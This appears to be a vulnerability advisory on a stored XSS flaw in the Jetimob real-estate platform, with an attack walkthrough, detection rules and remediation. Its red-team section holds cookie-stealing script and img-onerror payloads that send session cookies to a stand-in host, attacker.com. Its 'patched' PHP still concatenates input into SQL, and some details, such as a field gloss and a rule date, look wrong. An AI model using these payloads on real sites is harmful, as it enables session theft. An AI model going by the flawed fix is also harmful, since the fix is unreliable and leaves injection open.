CVE-2024-41505

Executive Summary

CVE-2024-41505 identifies a stored Cross-Site Scripting (XSS) vulnerability in Jetimob Plataforma Imobiliaria version 20240627-0. The flaw resides in the "Pessoas" (persons) section, specifically within the "Profisso" (professor) field. An attacker can inject arbitrary JavaScript code that executes in the context of any user viewing the affected profile. This can lead to session hijacking, credential theft, or defacement. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivial to exploit.

Supply Chain & Package Security

This is a standalone PHP/JavaScript application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the profile)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be chained with social engineering to achieve higher impact.

Deep Dive & Mechanics

The "Profisso" field in the "Pessoas" section is not properly sanitized or encoded before being stored in the database and later rendered in the browser. When an administrator or user views a profile containing a malicious payload, the injected script executes in the context of the victim's session.

Root Cause: Lack of output encoding and input validation on the "Profisso" field. The application likely uses echo or similar without htmlspecialchars() or equivalent.

Attack Flow:

1. Attacker registers or gains access to create/edit a person profile.
2. Attacker inserts a payload like <script>alert('XSS')</script> into the "Profisso" field.
3. The payload is stored in the database.
4. When a victim views the profile, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// No sanitization or encoding
$profisso = $_POST['profisso'];
$sql = "INSERT INTO pessoas (profisso) VALUES ('$profisso')";
// ... later in view
echo "<td>" . $row['profisso'] . "</td>";
?>

Patched Code (PHP):

<?php
// Input validation and output encoding
$profisso = htmlspecialchars($_POST['profisso'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO pessoas (profisso) VALUES ('$profisso')";
// ... later in view
echo "<td>" . htmlspecialchars($row['profisso'], ENT_QUOTES, 'UTF-8') . "</td>";
?>

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

1. Navigate to the "Pessoas" section.
2. Create a new person or edit an existing one.
3. In the "Profisso" field, enter:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

4. Save the profile.
5. When an admin views the profile, the cookie is exfiltrated.

Advanced Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Lab Setup:

• Deploy a local instance of Jetimob Plataforma Imobiliaria 20240627-0.
• Use a web application firewall (WAF) like ModSecurity with OWASP CRS.
• Monitor logs for unusual profisso field values.

Detection:

• Look for requests containing <script, onerror, onload, or javascript: in the profisso parameter.
• Use the Sigma rule below.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /pessoas/save or /pessoas/edit with profisso parameter containing <script> or event handlers.
• File: Log entries showing profisso field with HTML/JavaScript content.
• Behavior: Unexpected outbound connections from the application server to unknown domains.

Detection Engineering

YARA Rule

rule CVE_2024_41505_XSS_Profisso {
    meta:
        description = "Detects XSS payloads in Jetimob Profisso field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-41505"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: Jetimob XSS in Profisso Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in the Profisso field of Jetimob
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/pessoas/"
        cs-method: POST
        cs-params|contains: "profisso"
        cs-params|contains|any:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41505 Jetimob XSS in Profisso Field"; flow:to_server,established; content:"POST"; http_method; content:"/pessoas/"; http_uri; content:"profisso"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply input validation: Allow only alphanumeric characters and spaces in the "Profisso" field.
2. Use output encoding: htmlspecialchars() in PHP or equivalent in other languages.
3. Implement Content Security Policy (CSP) headers to block inline scripts.

Long-Term Fix:

• Upgrade to a patched version if released.
• Conduct a full security audit of the application.

Workaround:

• Disable the "Profisso" field in the database or application code until a patch is available.

Valters IT